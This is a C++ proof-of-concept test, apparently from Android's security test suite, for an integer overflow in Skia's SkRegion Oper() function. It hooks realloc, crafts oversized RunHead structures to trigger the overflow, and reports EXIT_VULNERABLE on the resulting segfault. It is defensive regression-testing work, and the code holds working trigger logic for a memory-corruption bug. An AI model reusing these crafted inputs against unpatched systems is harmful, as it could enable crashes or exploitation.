1 /*
2 * Copyright (C) 2025 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 // Defining private as public to create 'SkRegion::RunHead'
18 #define private public
19
20 #include <sys/mman.h>
21 #include <unistd.h>
22
23 #include "SkRegion.h"
24 #include "binary_loader.h"
25 #include "common.h"
26 #include "memutils.h"
27 #include "src/core/SkRegionPriv.h"
28
29 typedef bool (*oper_func)(const SkRegion&, const SkRegion&, SkRegion::Op, SkRegion*);
30 struct sigaction new_action, old_action;
31 static void* (*real_realloc_func)(void*, size_t) = nullptr;
32 bool isTestInProgress = false;
33 char* startPtr = nullptr;
34 int kElement = 0;
35 const int kRunArrayOffset = 7 /* Offset of RunArray in RunHead class */;
36
sig_handler(int signum,siginfo_t * info,void * context)37 void sig_handler(int signum, siginfo_t* info, void* context) {
38 if (!isTestInProgress) {
39 (*old_action.sa_sigaction)(signum, info, context);
40 return;
41 }
42
43 // Null check on startPtr.
44 if (startPtr == nullptr) {
45 exit(EXIT_FAILURE);
46 }
47
48 // Free the allocated buffer.
49 ENABLE_MEM_ACCESS(startPtr, getpagesize());
50 bool isExpectedAddress =
51 (((uintptr_t)info->si_addr ^ (uintptr_t)startPtr) & (uintptr_t)info->si_addr) == 0;
52 free(startPtr);
53 startPtr = nullptr;
54
55 // Check if signal is coming from expected address.
56 if (isExpectedAddress) {
57 (*old_action.sa_sigaction)(signum, info, context);
58 exit(EXIT_VULNERABLE);
59 }
60
61 // Assumption failure for unexpected signals.
62 exit(EXIT_FAILURE);
63 }
64
realloc(void * ptr,size_t size)65 void* realloc(void* ptr, size_t size) {
66 real_realloc_func = (void* (*)(void*, size_t))dlsym(RTLD_NEXT, "realloc");
67 FAIL_CHECK(real_realloc_func);
68
69 // Call real realloc() when test is not in progress.
70 if (!isTestInProgress) {
71 return real_realloc_func(ptr, size);
72 }
73
74 // Compute the result of addition operation on vulnerable function's input value.
75 int vulnerableFuncInput = SK_MaxS32 - 2 * kRunArrayOffset;
76 int additionResult = (int)(vulnerableFuncInput + (vulnerableFuncInput >> 1));
77
78 // Check if 'size' contains expected value.
79 if (size == ((size_t)additionResult * 4)) {
80 // Create a guarded buffer.
81 size_t page_size = getpagesize();
82 startPtr = (char*)memalign(page_size, page_size);
83 memset(startPtr, 0, page_size);
84 DISABLE_MEM_ACCESS(startPtr, page_size);
85 return startPtr;
86 }
87 return real_realloc_func(ptr, size);
88 }
89
90 // This function is referred from 'RunHead* Alloc()'.
createRunHead(int count)91 SkRegion::RunHead* createRunHead(int count) {
92 // Create RunHead pointer
93 const int64_t size = sk_64_mul(count, 4 /* Size of RunType */) + sizeof(SkRegion::RunHead);
94 SkRegion::RunHead* head = (SkRegion::RunHead*)sk_malloc_throw(size);
95
96 // Configure the values.
97 int* tmpPtr = (int*)(head);
98 *(tmpPtr + kRunArrayOffset + 3 /* Second element of Run array */) = kElement++;
99 *(tmpPtr + count - 1) = SkRegion_kRunTypeSentinel;
100 *(tmpPtr + count - 2) = SkRegion_kRunTypeSentinel;
101 return head;
102 }
103
main(int,char * argv[])104 int main(int /* argc */, char* argv[]) {
105 // Setup signal handler.
106 sigemptyset(&new_action.sa_mask);
107 sigaddset(&new_action.sa_mask, SIGSEGV); // Add SIGSEGV to the signal mask
108 sigaddset(&new_action.sa_mask, SIGBUS); // Add SIGBUS to the signal mask
109 new_action.sa_flags = SA_SIGINFO;
110 new_action.sa_sigaction = sig_handler;
111 sigaction(SIGSEGV, &new_action, &old_action);
112 sigaction(SIGBUS, &new_action, &old_action);
113
114 // Get the path to the shared library and offset from command-line arguments
115 const char* libPath = argv[1];
116 const uintptr_t functionOffset = strtoul(argv[2], nullptr, 0);
117
118 // Get function address of 'oper()' from loaded library
119 BinaryLoader binaryLoader(libPath);
120 const uintptr_t functionAddress = binaryLoader.getFunctionAddress(functionOffset);
121 FAIL_CHECK(functionAddress);
122
123 // Create function pointer to 'oper()'
124 oper_func oper_ptr = (oper_func)functionAddress;
125
126 // Configure SkRegion's
127 SkRegion region1, region2;
128 region1.fRunHead = createRunHead(SK_MaxS32 / 2);
129 region2.fRunHead = createRunHead(SK_MaxS32 / 2);
130
131 // Call the vulnerable function Oper(). Without the fix, realloc() is called with overflowed
132 // value. realloc() is overloaded to return a guarded buffer for overflowed value. Later,
133 // 'memcpy' reads the guarded buffer, and a SIGSEGV is raised. With the fix, the integer
134 // overflow does not occur, and realloc() returns a buffer of the expected size.
135 isTestInProgress = true;
136 SkRegion::Op operation = SkRegion::kXOR_Op;
137 oper_ptr(region1, region2, operation, nullptr);
138 return EXIT_SUCCESS;
139 }
140